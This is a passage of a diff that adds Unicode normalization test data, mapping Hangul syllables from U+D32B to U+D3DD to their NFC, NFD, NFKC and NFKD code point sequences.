+{ source: [0xD32B], NFC: [0xD32B], NFD: [0x1111, 0x1162, 0x11AA], NFKC: [0xD32B], NFKD: [0x1111, 0x1162, 0x11AA] },
+{ source: [0xD32C], NFC: [0xD32C], NFD: [0x1111, 0x1162, 0x11AB], NFKC: [0xD32C], NFKD: [0x1111, 0x1162, 0x11AB] },
+{ source: [0xD32D], NFC: [0xD32D], NFD: [0x1111, 0x1162, 0x11AC], NFKC: [0xD32D], NFKD: [0x1111, 0x1162, 0x11AC] },
+{ source: [0xD32E], NFC: [0xD32E], NFD: [0x1111, 0x1162, 0x11AD], NFKC: [0xD32E], NFKD: [0x1111, 0x1162, 0x11AD] },
+{ source: [0xD32F], NFC: [0xD32F], NFD: [0x1111, 0x1162, 0x11AE], NFKC: [0xD32F], NFKD: [0x1111, 0x1162, 0x11AE] },
+{ source: [0xD330], NFC: [0xD330], NFD: [0x1111, 0x1162, 0x11AF], NFKC: [0xD330], NFKD: [0x1111, 0x1162, 0x11AF] },
+{ source: [0xD331], NFC: [0xD331], NFD: [0x1111, 0x1162, 0x11B0], NFKC: [0xD331], NFKD: [0x1111, 0x1162, 0x11B0] },
+{ source: [0xD332], NFC: [0xD332], NFD: [0x1111, 0x1162, 0x11B1], NFKC: [0xD332], NFKD: [0x1111, 0x1162, 0x11B1] },
+{ source: [0xD333], NFC: [0xD333], NFD: [0x1111, 0x1162, 0x11B2], NFKC: [0xD333], NFKD: [0x1111, 0x1162, 0x11B2] },
+{ source: [0xD334], NFC: [0xD334], NFD: [0x1111, 0x1162, 0x11B3], NFKC: [0xD334], NFKD: [0x1111, 0x1162, 0x11B3] },
+{ source: [0xD335], NFC: [0xD335], NFD: [0x1111, 0x1162, 0x11B4], NFKC: [0xD335], NFKD: [0x1111, 0x1162, 0x11B4] },
+{ source: [0xD336], NFC: [0xD336], NFD: [0x1111, 0x1162, 0x11B5], NFKC: [0xD336], NFKD: [0x1111, 0x1162, 0x11B5] },
+{ source: [0xD337], NFC: [0xD337], NFD: [0x1111, 0x1162, 0x11B6], NFKC: [0xD337], NFKD: [0x1111, 0x1162, 0x11B6] },
+{ source: [0xD338], NFC: [0xD338], NFD: [0x1111, 0x1162, 0x11B7], NFKC: [0xD338], NFKD: [0x1111, 0x1162, 0x11B7] },
+{ source: [0xD339], NFC: [0xD339], NFD: [0x1111, 0x1162, 0x11B8], NFKC: [0xD339], NFKD: [0x1111, 0x1162, 0x11B8] },
+{ source: [0xD33A], NFC: [0xD33A], NFD: [0x1111, 0x1162, 0x11B9], NFKC: [0xD33A], NFKD: [0x1111, 0x1162, 0x11B9] },
+{ source: [0xD33B], NFC: [0xD33B], NFD: [0x1111, 0x1162, 0x11BA], NFKC: [0xD33B], NFKD: [0x1111, 0x1162, 0x11BA] },
+{ source: [0xD33C], NFC: [0xD33C], NFD: [0x1111, 0x1162, 0x11BB], NFKC: [0xD33C], NFKD: [0x1111, 0x1162, 0x11BB] },
+{ source: [0xD33D], NFC: [0xD33D], NFD: [0x1111, 0x1162, 0x11BC], NFKC: [0xD33D], NFKD: [0x1111, 0x1162, 0x11BC] },
+{ source: [0xD33E], NFC: [0xD33E], NFD: [0x1111, 0x1162, 0x11BD], NFKC: [0xD33E], NFKD: [0x1111, 0x1162, 0x11BD] },
+{ source: [0xD33F], NFC: [0xD33F], NFD: [0x1111, 0x1162, 0x11BE], NFKC: [0xD33F], NFKD: [0x1111, 0x1162, 0x11BE] },
+{ source: [0xD340], NFC: [0xD340], NFD: [0x1111, 0x1162, 0x11BF], NFKC: [0xD340], NFKD: [0x1111, 0x1162, 0x11BF] },
+{ source: [0xD341], NFC: [0xD341], NFD: [0x1111, 0x1162, 0x11C0], NFKC: [0xD341], NFKD: [0x1111, 0x1162, 0x11C0] },
+{ source: [0xD342], NFC: [0xD342], NFD: [0x1111, 0x1162, 0x11C1], NFKC: [0xD342], NFKD: [0x1111, 0x1162, 0x11C1] },
+{ source: [0xD343], NFC: [0xD343], NFD: [0x1111, 0x1162, 0x11C2], NFKC: [0xD343], NFKD: [0x1111, 0x1162, 0x11C2] },
+{ source: [0xD344], NFC: [0xD344], NFD: [0x1111, 0x1163], NFKC: [0xD344], NFKD: [0x1111, 0x1163] },
+{ source: [0xD345], NFC: [0xD345], NFD: [0x1111, 0x1163, 0x11A8], NFKC: [0xD345], NFKD: [0x1111, 0x1163, 0x11A8] },
+{ source: [0xD346], NFC: [0xD346], NFD: [0x1111, 0x1163, 0x11A9], NFKC: [0xD346], NFKD: [0x1111, 0x1163, 0x11A9] },
+{ source: [0xD347], NFC: [0xD347], NFD: [0x1111, 0x1163, 0x11AA], NFKC: [0xD347], NFKD: [0x1111, 0x1163, 0x11AA] },
+{ source: [0xD348], NFC: [0xD348], NFD: [0x1111, 0x1163, 0x11AB], NFKC: [0xD348], NFKD: [0x1111, 0x1163, 0x11AB] },
+{ source: [0xD349], NFC: [0xD349], NFD: [0x1111, 0x1163, 0x11AC], NFKC: [0xD349], NFKD: [0x1111, 0x1163, 0x11AC] },
+{ source: [0xD34A], NFC: [0xD34A], NFD: [0x1111, 0x1163, 0x11AD], NFKC: [0xD34A], NFKD: [0x1111, 0x1163, 0x11AD] },
+{ source: [0xD34B], NFC: [0xD34B], NFD: [0x1111, 0x1163, 0x11AE], NFKC: [0xD34B], NFKD: [0x1111, 0x1163, 0x11AE] },
+{ source: [0xD34C], NFC: [0xD34C], NFD: [0x1111, 0x1163, 0x11AF], NFKC: [0xD34C], NFKD: [0x1111, 0x1163, 0x11AF] },
+{ source: [0xD34D], NFC: [0xD34D], NFD: [0x1111, 0x1163, 0x11B0], NFKC: [0xD34D], NFKD: [0x1111, 0x1163, 0x11B0] },
+{ source: [0xD34E], NFC: [0xD34E], NFD: [0x1111, 0x1163, 0x11B1], NFKC: [0xD34E], NFKD: [0x1111, 0x1163, 0x11B1] },
+{ source: [0xD34F], NFC: [0xD34F], NFD: [0x1111, 0x1163, 0x11B2], NFKC: [0xD34F], NFKD: [0x1111, 0x1163, 0x11B2] },
+{ source: [0xD350], NFC: [0xD350], NFD: [0x1111, 0x1163, 0x11B3], NFKC: [0xD350], NFKD: [0x1111, 0x1163, 0x11B3] },
+{ source: [0xD351], NFC: [0xD351], NFD: [0x1111, 0x1163, 0x11B4], NFKC: [0xD351], NFKD: [0x1111, 0x1163, 0x11B4] },
+{ source: [0xD352], NFC: [0xD352], NFD: [0x1111, 0x1163, 0x11B5], NFKC: [0xD352], NFKD: [0x1111, 0x1163, 0x11B5] },
+{ source: [0xD353], NFC: [0xD353], NFD: [0x1111, 0x1163, 0x11B6], NFKC: [0xD353], NFKD: [0x1111, 0x1163, 0x11B6] },
+{ source: [0xD354], NFC: [0xD354], NFD: [0x1111, 0x1163, 0x11B7], NFKC: [0xD354], NFKD: [0x1111, 0x1163, 0x11B7] },
+{ source: [0xD355], NFC: [0xD355], NFD: [0x1111, 0x1163, 0x11B8], NFKC: [0xD355], NFKD: [0x1111, 0x1163, 0x11B8] },
+{ source: [0xD356], NFC: [0xD356], NFD: [0x1111, 0x1163, 0x11B9], NFKC: [0xD356], NFKD: [0x1111, 0x1163, 0x11B9] },
+{ source: [0xD357], NFC: [0xD357], NFD: [0x1111, 0x1163, 0x11BA], NFKC: [0xD357], NFKD: [0x1111, 0x1163, 0x11BA] },
+{ source: [0xD358], NFC: [0xD358], NFD: [0x1111, 0x1163, 0x11BB], NFKC: [0xD358], NFKD: [0x1111, 0x1163, 0x11BB] },
+{ source: [0xD359], NFC: [0xD359], NFD: [0x1111, 0x1163, 0x11BC], NFKC: [0xD359], NFKD: [0x1111, 0x1163, 0x11BC] },
+{ source: [0xD35A], NFC: [0xD35A], NFD: [0x1111, 0x1163, 0x11BD], NFKC: [0xD35A], NFKD: [0x1111, 0x1163, 0x11BD] },
+{ source: [0xD35B], NFC: [0xD35B], NFD: [0x1111, 0x1163, 0x11BE], NFKC: [0xD35B], NFKD: [0x1111, 0x1163, 0x11BE] },
+{ source: [0xD35C], NFC: [0xD35C], NFD: [0x1111, 0x1163, 0x11BF], NFKC: [0xD35C], NFKD: [0x1111, 0x1163, 0x11BF] },
+{ source: [0xD35D], NFC: [0xD35D], NFD: [0x1111, 0x1163, 0x11C0], NFKC: [0xD35D], NFKD: [0x1111, 0x1163, 0x11C0] },
+{ source: [0xD35E], NFC: [0xD35E], NFD: [0x1111, 0x1163, 0x11C1], NFKC: [0xD35E], NFKD: [0x1111, 0x1163, 0x11C1] },
+{ source: [0xD35F], NFC: [0xD35F], NFD: [0x1111, 0x1163, 0x11C2], NFKC: [0xD35F], NFKD: [0x1111, 0x1163, 0x11C2] },
+{ source: [0xD360], NFC: [0xD360], NFD: [0x1111, 0x1164], NFKC: [0xD360], NFKD: [0x1111, 0x1164] },
+{ source: [0xD361], NFC: [0xD361], NFD: [0x1111, 0x1164, 0x11A8], NFKC: [0xD361], NFKD: [0x1111, 0x1164, 0x11A8] },
+{ source: [0xD362], NFC: [0xD362], NFD: [0x1111, 0x1164, 0x11A9], NFKC: [0xD362], NFKD: [0x1111, 0x1164, 0x11A9] },
+{ source: [0xD363], NFC: [0xD363], NFD: [0x1111, 0x1164, 0x11AA], NFKC: [0xD363], NFKD: [0x1111, 0x1164, 0x11AA] },
+{ source: [0xD364], NFC: [0xD364], NFD: [0x1111, 0x1164, 0x11AB], NFKC: [0xD364], NFKD: [0x1111, 0x1164, 0x11AB] },
+{ source: [0xD365], NFC: [0xD365], NFD: [0x1111, 0x1164, 0x11AC], NFKC: [0xD365], NFKD: [0x1111, 0x1164, 0x11AC] },
+{ source: [0xD366], NFC: [0xD366], NFD: [0x1111, 0x1164, 0x11AD], NFKC: [0xD366], NFKD: [0x1111, 0x1164, 0x11AD] },
+{ source: [0xD367], NFC: [0xD367], NFD: [0x1111, 0x1164, 0x11AE], NFKC: [0xD367], NFKD: [0x1111, 0x1164, 0x11AE] },
+{ source: [0xD368], NFC: [0xD368], NFD: [0x1111, 0x1164, 0x11AF], NFKC: [0xD368], NFKD: [0x1111, 0x1164, 0x11AF] },
+{ source: [0xD369], NFC: [0xD369], NFD: [0x1111, 0x1164, 0x11B0], NFKC: [0xD369], NFKD: [0x1111, 0x1164, 0x11B0] },
+{ source: [0xD36A], NFC: [0xD36A], NFD: [0x1111, 0x1164, 0x11B1], NFKC: [0xD36A], NFKD: [0x1111, 0x1164, 0x11B1] },
+{ source: [0xD36B], NFC: [0xD36B], NFD: [0x1111, 0x1164, 0x11B2], NFKC: [0xD36B], NFKD: [0x1111, 0x1164, 0x11B2] },
+{ source: [0xD36C], NFC: [0xD36C], NFD: [0x1111, 0x1164, 0x11B3], NFKC: [0xD36C], NFKD: [0x1111, 0x1164, 0x11B3] },
+{ source: [0xD36D], NFC: [0xD36D], NFD: [0x1111, 0x1164, 0x11B4], NFKC: [0xD36D], NFKD: [0x1111, 0x1164, 0x11B4] },
+{ source: [0xD36E], NFC: [0xD36E], NFD: [0x1111, 0x1164, 0x11B5], NFKC: [0xD36E], NFKD: [0x1111, 0x1164, 0x11B5] },
+{ source: [0xD36F], NFC: [0xD36F], NFD: [0x1111, 0x1164, 0x11B6], NFKC: [0xD36F], NFKD: [0x1111, 0x1164, 0x11B6] },
+{ source: [0xD370], NFC: [0xD370], NFD: [0x1111, 0x1164, 0x11B7], NFKC: [0xD370], NFKD: [0x1111, 0x1164, 0x11B7] },
+{ source: [0xD371], NFC: [0xD371], NFD: [0x1111, 0x1164, 0x11B8], NFKC: [0xD371], NFKD: [0x1111, 0x1164, 0x11B8] },
+{ source: [0xD372], NFC: [0xD372], NFD: [0x1111, 0x1164, 0x11B9], NFKC: [0xD372], NFKD: [0x1111, 0x1164, 0x11B9] },
+{ source: [0xD373], NFC: [0xD373], NFD: [0x1111, 0x1164, 0x11BA], NFKC: [0xD373], NFKD: [0x1111, 0x1164, 0x11BA] },
+{ source: [0xD374], NFC: [0xD374], NFD: [0x1111, 0x1164, 0x11BB], NFKC: [0xD374], NFKD: [0x1111, 0x1164, 0x11BB] },
+{ source: [0xD375], NFC: [0xD375], NFD: [0x1111, 0x1164, 0x11BC], NFKC: [0xD375], NFKD: [0x1111, 0x1164, 0x11BC] },
+{ source: [0xD376], NFC: [0xD376], NFD: [0x1111, 0x1164, 0x11BD], NFKC: [0xD376], NFKD: [0x1111, 0x1164, 0x11BD] },
+{ source: [0xD377], NFC: [0xD377], NFD: [0x1111, 0x1164, 0x11BE], NFKC: [0xD377], NFKD: [0x1111, 0x1164, 0x11BE] },
+{ source: [0xD378], NFC: [0xD378], NFD: [0x1111, 0x1164, 0x11BF], NFKC: [0xD378], NFKD: [0x1111, 0x1164, 0x11BF] },
+{ source: [0xD379], NFC: [0xD379], NFD: [0x1111, 0x1164, 0x11C0], NFKC: [0xD379], NFKD: [0x1111, 0x1164, 0x11C0] },
+{ source: [0xD37A], NFC: [0xD37A], NFD: [0x1111, 0x1164, 0x11C1], NFKC: [0xD37A], NFKD: [0x1111, 0x1164, 0x11C1] },
+{ source: [0xD37B], NFC: [0xD37B], NFD: [0x1111, 0x1164, 0x11C2], NFKC: [0xD37B], NFKD: [0x1111, 0x1164, 0x11C2] },
+{ source: [0xD37C], NFC: [0xD37C], NFD: [0x1111, 0x1165], NFKC: [0xD37C], NFKD: [0x1111, 0x1165] },
+{ source: [0xD37D], NFC: [0xD37D], NFD: [0x1111, 0x1165, 0x11A8], NFKC: [0xD37D], NFKD: [0x1111, 0x1165, 0x11A8] },
+{ source: [0xD37E], NFC: [0xD37E], NFD: [0x1111, 0x1165, 0x11A9], NFKC: [0xD37E], NFKD: [0x1111, 0x1165, 0x11A9] },
+{ source: [0xD37F], NFC: [0xD37F], NFD: [0x1111, 0x1165, 0x11AA], NFKC: [0xD37F], NFKD: [0x1111, 0x1165, 0x11AA] },
+{ source: [0xD380], NFC: [0xD380], NFD: [0x1111, 0x1165, 0x11AB], NFKC: [0xD380], NFKD: [0x1111, 0x1165, 0x11AB] },
+{ source: [0xD381], NFC: [0xD381], NFD: [0x1111, 0x1165, 0x11AC], NFKC: [0xD381], NFKD: [0x1111, 0x1165, 0x11AC] },
+{ source: [0xD382], NFC: [0xD382], NFD: [0x1111, 0x1165, 0x11AD], NFKC: [0xD382], NFKD: [0x1111, 0x1165, 0x11AD] },
+{ source: [0xD383], NFC: [0xD383], NFD: [0x1111, 0x1165, 0x11AE], NFKC: [0xD383], NFKD: [0x1111, 0x1165, 0x11AE] },
+{ source: [0xD384], NFC: [0xD384], NFD: [0x1111, 0x1165, 0x11AF], NFKC: [0xD384], NFKD: [0x1111, 0x1165, 0x11AF] },
+{ source: [0xD385], NFC: [0xD385], NFD: [0x1111, 0x1165, 0x11B0], NFKC: [0xD385], NFKD: [0x1111, 0x1165, 0x11B0] },
+{ source: [0xD386], NFC: [0xD386], NFD: [0x1111, 0x1165, 0x11B1], NFKC: [0xD386], NFKD: [0x1111, 0x1165, 0x11B1] },
+{ source: [0xD387], NFC: [0xD387], NFD: [0x1111, 0x1165, 0x11B2], NFKC: [0xD387], NFKD: [0x1111, 0x1165, 0x11B2] },
+{ source: [0xD388], NFC: [0xD388], NFD: [0x1111, 0x1165, 0x11B3], NFKC: [0xD388], NFKD: [0x1111, 0x1165, 0x11B3] },
+{ source: [0xD389], NFC: [0xD389], NFD: [0x1111, 0x1165, 0x11B4], NFKC: [0xD389], NFKD: [0x1111, 0x1165, 0x11B4] },
+{ source: [0xD38A], NFC: [0xD38A], NFD: [0x1111, 0x1165, 0x11B5], NFKC: [0xD38A], NFKD: [0x1111, 0x1165, 0x11B5] },
+{ source: [0xD38B], NFC: [0xD38B], NFD: [0x1111, 0x1165, 0x11B6], NFKC: [0xD38B], NFKD: [0x1111, 0x1165, 0x11B6] },
+{ source: [0xD38C], NFC: [0xD38C], NFD: [0x1111, 0x1165, 0x11B7], NFKC: [0xD38C], NFKD: [0x1111, 0x1165, 0x11B7] },
+{ source: [0xD38D], NFC: [0xD38D], NFD: [0x1111, 0x1165, 0x11B8], NFKC: [0xD38D], NFKD: [0x1111, 0x1165, 0x11B8] },
+{ source: [0xD38E], NFC: [0xD38E], NFD: [0x1111, 0x1165, 0x11B9], NFKC: [0xD38E], NFKD: [0x1111, 0x1165, 0x11B9] },
+{ source: [0xD38F], NFC: [0xD38F], NFD: [0x1111, 0x1165, 0x11BA], NFKC: [0xD38F], NFKD: [0x1111, 0x1165, 0x11BA] },
+{ source: [0xD390], NFC: [0xD390], NFD: [0x1111, 0x1165, 0x11BB], NFKC: [0xD390], NFKD: [0x1111, 0x1165, 0x11BB] },
+{ source: [0xD391], NFC: [0xD391], NFD: [0x1111, 0x1165, 0x11BC], NFKC: [0xD391], NFKD: [0x1111, 0x1165, 0x11BC] },
+{ source: [0xD392], NFC: [0xD392], NFD: [0x1111, 0x1165, 0x11BD], NFKC: [0xD392], NFKD: [0x1111, 0x1165, 0x11BD] },
+{ source: [0xD393], NFC: [0xD393], NFD: [0x1111, 0x1165, 0x11BE], NFKC: [0xD393], NFKD: [0x1111, 0x1165, 0x11BE] },
+{ source: [0xD394], NFC: [0xD394], NFD: [0x1111, 0x1165, 0x11BF], NFKC: [0xD394], NFKD: [0x1111, 0x1165, 0x11BF] },
+{ source: [0xD395], NFC: [0xD395], NFD: [0x1111, 0x1165, 0x11C0], NFKC: [0xD395], NFKD: [0x1111, 0x1165, 0x11C0] },
+{ source: [0xD396], NFC: [0xD396], NFD: [0x1111, 0x1165, 0x11C1], NFKC: [0xD396], NFKD: [0x1111, 0x1165, 0x11C1] },
+{ source: [0xD397], NFC: [0xD397], NFD: [0x1111, 0x1165, 0x11C2], NFKC: [0xD397], NFKD: [0x1111, 0x1165, 0x11C2] },
+{ source: [0xD398], NFC: [0xD398], NFD: [0x1111, 0x1166], NFKC: [0xD398], NFKD: [0x1111, 0x1166] },
+{ source: [0xD399], NFC: [0xD399], NFD: [0x1111, 0x1166, 0x11A8], NFKC: [0xD399], NFKD: [0x1111, 0x1166, 0x11A8] },
+{ source: [0xD39A], NFC: [0xD39A], NFD: [0x1111, 0x1166, 0x11A9], NFKC: [0xD39A], NFKD: [0x1111, 0x1166, 0x11A9] },
+{ source: [0xD39B], NFC: [0xD39B], NFD: [0x1111, 0x1166, 0x11AA], NFKC: [0xD39B], NFKD: [0x1111, 0x1166, 0x11AA] },
+{ source: [0xD39C], NFC: [0xD39C], NFD: [0x1111, 0x1166, 0x11AB], NFKC: [0xD39C], NFKD: [0x1111, 0x1166, 0x11AB] },
+{ source: [0xD39D], NFC: [0xD39D], NFD: [0x1111, 0x1166, 0x11AC], NFKC: [0xD39D], NFKD: [0x1111, 0x1166, 0x11AC] },
+{ source: [0xD39E], NFC: [0xD39E], NFD: [0x1111, 0x1166, 0x11AD], NFKC: [0xD39E], NFKD: [0x1111, 0x1166, 0x11AD] },
+{ source: [0xD39F], NFC: [0xD39F], NFD: [0x1111, 0x1166, 0x11AE], NFKC: [0xD39F], NFKD: [0x1111, 0x1166, 0x11AE] },
+{ source: [0xD3A0], NFC: [0xD3A0], NFD: [0x1111, 0x1166, 0x11AF], NFKC: [0xD3A0], NFKD: [0x1111, 0x1166, 0x11AF] },
+{ source: [0xD3A1], NFC: [0xD3A1], NFD: [0x1111, 0x1166, 0x11B0], NFKC: [0xD3A1], NFKD: [0x1111, 0x1166, 0x11B0] },
+{ source: [0xD3A2], NFC: [0xD3A2], NFD: [0x1111, 0x1166, 0x11B1], NFKC: [0xD3A2], NFKD: [0x1111, 0x1166, 0x11B1] },
+{ source: [0xD3A3], NFC: [0xD3A3], NFD: [0x1111, 0x1166, 0x11B2], NFKC: [0xD3A3], NFKD: [0x1111, 0x1166, 0x11B2] },
+{ source: [0xD3A4], NFC: [0xD3A4], NFD: [0x1111, 0x1166, 0x11B3], NFKC: [0xD3A4], NFKD: [0x1111, 0x1166, 0x11B3] },
+{ source: [0xD3A5], NFC: [0xD3A5], NFD: [0x1111, 0x1166, 0x11B4], NFKC: [0xD3A5], NFKD: [0x1111, 0x1166, 0x11B4] },
+{ source: [0xD3A6], NFC: [0xD3A6], NFD: [0x1111, 0x1166, 0x11B5], NFKC: [0xD3A6], NFKD: [0x1111, 0x1166, 0x11B5] },
+{ source: [0xD3A7], NFC: [0xD3A7], NFD: [0x1111, 0x1166, 0x11B6], NFKC: [0xD3A7], NFKD: [0x1111, 0x1166, 0x11B6] },
+{ source: [0xD3A8], NFC: [0xD3A8], NFD: [0x1111, 0x1166, 0x11B7], NFKC: [0xD3A8], NFKD: [0x1111, 0x1166, 0x11B7] },
+{ source: [0xD3A9], NFC: [0xD3A9], NFD: [0x1111, 0x1166, 0x11B8], NFKC: [0xD3A9], NFKD: [0x1111, 0x1166, 0x11B8] },
+{ source: [0xD3AA], NFC: [0xD3AA], NFD: [0x1111, 0x1166, 0x11B9], NFKC: [0xD3AA], NFKD: [0x1111, 0x1166, 0x11B9] },
+{ source: [0xD3AB], NFC: [0xD3AB], NFD: [0x1111, 0x1166, 0x11BA], NFKC: [0xD3AB], NFKD: [0x1111, 0x1166, 0x11BA] },
+{ source: [0xD3AC], NFC: [0xD3AC], NFD: [0x1111, 0x1166, 0x11BB], NFKC: [0xD3AC], NFKD: [0x1111, 0x1166, 0x11BB] },
+{ source: [0xD3AD], NFC: [0xD3AD], NFD: [0x1111, 0x1166, 0x11BC], NFKC: [0xD3AD], NFKD: [0x1111, 0x1166, 0x11BC] },
+{ source: [0xD3AE], NFC: [0xD3AE], NFD: [0x1111, 0x1166, 0x11BD], NFKC: [0xD3AE], NFKD: [0x1111, 0x1166, 0x11BD] },
+{ source: [0xD3AF], NFC: [0xD3AF], NFD: [0x1111, 0x1166, 0x11BE], NFKC: [0xD3AF], NFKD: [0x1111, 0x1166, 0x11BE] },
+{ source: [0xD3B0], NFC: [0xD3B0], NFD: [0x1111, 0x1166, 0x11BF], NFKC: [0xD3B0], NFKD: [0x1111, 0x1166, 0x11BF] },
+{ source: [0xD3B1], NFC: [0xD3B1], NFD: [0x1111, 0x1166, 0x11C0], NFKC: [0xD3B1], NFKD: [0x1111, 0x1166, 0x11C0] },
+{ source: [0xD3B2], NFC: [0xD3B2], NFD: [0x1111, 0x1166, 0x11C1], NFKC: [0xD3B2], NFKD: [0x1111, 0x1166, 0x11C1] },
+{ source: [0xD3B3], NFC: [0xD3B3], NFD: [0x1111, 0x1166, 0x11C2], NFKC: [0xD3B3], NFKD: [0x1111, 0x1166, 0x11C2] },
+{ source: [0xD3B4], NFC: [0xD3B4], NFD: [0x1111, 0x1167], NFKC: [0xD3B4], NFKD: [0x1111, 0x1167] },
+{ source: [0xD3B5], NFC: [0xD3B5], NFD: [0x1111, 0x1167, 0x11A8], NFKC: [0xD3B5], NFKD: [0x1111, 0x1167, 0x11A8] },
+{ source: [0xD3B6], NFC: [0xD3B6], NFD: [0x1111, 0x1167, 0x11A9], NFKC: [0xD3B6], NFKD: [0x1111, 0x1167, 0x11A9] },
+{ source: [0xD3B7], NFC: [0xD3B7], NFD: [0x1111, 0x1167, 0x11AA], NFKC: [0xD3B7], NFKD: [0x1111, 0x1167, 0x11AA] },
+{ source: [0xD3B8], NFC: [0xD3B8], NFD: [0x1111, 0x1167, 0x11AB], NFKC: [0xD3B8], NFKD: [0x1111, 0x1167, 0x11AB] },
+{ source: [0xD3B9], NFC: [0xD3B9], NFD: [0x1111, 0x1167, 0x11AC], NFKC: [0xD3B9], NFKD: [0x1111, 0x1167, 0x11AC] },
+{ source: [0xD3BA], NFC: [0xD3BA], NFD: [0x1111, 0x1167, 0x11AD], NFKC: [0xD3BA], NFKD: [0x1111, 0x1167, 0x11AD] },
+{ source: [0xD3BB], NFC: [0xD3BB], NFD: [0x1111, 0x1167, 0x11AE], NFKC: [0xD3BB], NFKD: [0x1111, 0x1167, 0x11AE] },
+{ source: [0xD3BC], NFC: [0xD3BC], NFD: [0x1111, 0x1167, 0x11AF], NFKC: [0xD3BC], NFKD: [0x1111, 0x1167, 0x11AF] },
+{ source: [0xD3BD], NFC: [0xD3BD], NFD: [0x1111, 0x1167, 0x11B0], NFKC: [0xD3BD], NFKD: [0x1111, 0x1167, 0x11B0] },
+{ source: [0xD3BE], NFC: [0xD3BE], NFD: [0x1111, 0x1167, 0x11B1], NFKC: [0xD3BE], NFKD: [0x1111, 0x1167, 0x11B1] },
+{ source: [0xD3BF], NFC: [0xD3BF], NFD: [0x1111, 0x1167, 0x11B2], NFKC: [0xD3BF], NFKD: [0x1111, 0x1167, 0x11B2] },
+{ source: [0xD3C0], NFC: [0xD3C0], NFD: [0x1111, 0x1167, 0x11B3], NFKC: [0xD3C0], NFKD: [0x1111, 0x1167, 0x11B3] },
+{ source: [0xD3C1], NFC: [0xD3C1], NFD: [0x1111, 0x1167, 0x11B4], NFKC: [0xD3C1], NFKD: [0x1111, 0x1167, 0x11B4] },
+{ source: [0xD3C2], NFC: [0xD3C2], NFD: [0x1111, 0x1167, 0x11B5], NFKC: [0xD3C2], NFKD: [0x1111, 0x1167, 0x11B5] },
+{ source: [0xD3C3], NFC: [0xD3C3], NFD: [0x1111, 0x1167, 0x11B6], NFKC: [0xD3C3], NFKD: [0x1111, 0x1167, 0x11B6] },
+{ source: [0xD3C4], NFC: [0xD3C4], NFD: [0x1111, 0x1167, 0x11B7], NFKC: [0xD3C4], NFKD: [0x1111, 0x1167, 0x11B7] },
+{ source: [0xD3C5], NFC: [0xD3C5], NFD: [0x1111, 0x1167, 0x11B8], NFKC: [0xD3C5], NFKD: [0x1111, 0x1167, 0x11B8] },
+{ source: [0xD3C6], NFC: [0xD3C6], NFD: [0x1111, 0x1167, 0x11B9], NFKC: [0xD3C6], NFKD: [0x1111, 0x1167, 0x11B9] },
+{ source: [0xD3C7], NFC: [0xD3C7], NFD: [0x1111, 0x1167, 0x11BA], NFKC: [0xD3C7], NFKD: [0x1111, 0x1167, 0x11BA] },
+{ source: [0xD3C8], NFC: [0xD3C8], NFD: [0x1111, 0x1167, 0x11BB], NFKC: [0xD3C8], NFKD: [0x1111, 0x1167, 0x11BB] },
+{ source: [0xD3C9], NFC: [0xD3C9], NFD: [0x1111, 0x1167, 0x11BC], NFKC: [0xD3C9], NFKD: [0x1111, 0x1167, 0x11BC] },
+{ source: [0xD3CA], NFC: [0xD3CA], NFD: [0x1111, 0x1167, 0x11BD], NFKC: [0xD3CA], NFKD: [0x1111, 0x1167, 0x11BD] },
+{ source: [0xD3CB], NFC: [0xD3CB], NFD: [0x1111, 0x1167, 0x11BE], NFKC: [0xD3CB], NFKD: [0x1111, 0x1167, 0x11BE] },
+{ source: [0xD3CC], NFC: [0xD3CC], NFD: [0x1111, 0x1167, 0x11BF], NFKC: [0xD3CC], NFKD: [0x1111, 0x1167, 0x11BF] },
+{ source: [0xD3CD], NFC: [0xD3CD], NFD: [0x1111, 0x1167, 0x11C0], NFKC: [0xD3CD], NFKD: [0x1111, 0x1167, 0x11C0] },
+{ source: [0xD3CE], NFC: [0xD3CE], NFD: [0x1111, 0x1167, 0x11C1], NFKC: [0xD3CE], NFKD: [0x1111, 0x1167, 0x11C1] },
+{ source: [0xD3CF], NFC: [0xD3CF], NFD: [0x1111, 0x1167, 0x11C2], NFKC: [0xD3CF], NFKD: [0x1111, 0x1167, 0x11C2] },
+{ source: [0xD3D0], NFC: [0xD3D0], NFD: [0x1111, 0x1168], NFKC: [0xD3D0], NFKD: [0x1111, 0x1168] },
+{ source: [0xD3D1], NFC: [0xD3D1], NFD: [0x1111, 0x1168, 0x11A8], NFKC: [0xD3D1], NFKD: [0x1111, 0x1168, 0x11A8] },
+{ source: [0xD3D2], NFC: [0xD3D2], NFD: [0x1111, 0x1168, 0x11A9], NFKC: [0xD3D2], NFKD: [0x1111, 0x1168, 0x11A9] },
+{ source: [0xD3D3], NFC: [0xD3D3], NFD: [0x1111, 0x1168, 0x11AA], NFKC: [0xD3D3], NFKD: [0x1111, 0x1168, 0x11AA] },
+{ source: [0xD3D4], NFC: [0xD3D4], NFD: [0x1111, 0x1168, 0x11AB], NFKC: [0xD3D4], NFKD: [0x1111, 0x1168, 0x11AB] },
+{ source: [0xD3D5], NFC: [0xD3D5], NFD: [0x1111, 0x1168, 0x11AC], NFKC: [0xD3D5], NFKD: [0x1111, 0x1168, 0x11AC] },
+{ source: [0xD3D6], NFC: [0xD3D6], NFD: [0x1111, 0x1168, 0x11AD], NFKC: [0xD3D6], NFKD: [0x1111, 0x1168, 0x11AD] },
+{ source: [0xD3D7], NFC: [0xD3D7], NFD: [0x1111, 0x1168, 0x11AE], NFKC: [0xD3D7], NFKD: [0x1111, 0x1168, 0x11AE] },
+{ source: [0xD3D8], NFC: [0xD3D8], NFD: [0x1111, 0x1168, 0x11AF], NFKC: [0xD3D8], NFKD: [0x1111, 0x1168, 0x11AF] },
+{ source: [0xD3D9], NFC: [0xD3D9], NFD: [0x1111, 0x1168, 0x11B0], NFKC: [0xD3D9], NFKD: [0x1111, 0x1168, 0x11B0] },
+{ source: [0xD3DA], NFC: [0xD3DA], NFD: [0x1111, 0x1168, 0x11B1], NFKC: [0xD3DA], NFKD: [0x1111, 0x1168, 0x11B1] },
+{ source: [0xD3DB], NFC: [0xD3DB], NFD: [0x1111, 0x1168, 0x11B2], NFKC: [0xD3DB], NFKD: [0x1111, 0x1168, 0x11B2] },
+{ source: [0xD3DC], NFC: [0xD3DC], NFD: [0x1111, 0x1168, 0x11B3], NFKC: [0xD3DC], NFKD: [0x1111, 0x1168, 0x11B3] },
+{ source: [0xD3DD], NFC: [0xD3DD], NFD: [0x1111, 0x1168, 0x11B4], NFKC: [0xD3DD], NFKD: [0x1111, 0x1168, 0x11B4] },
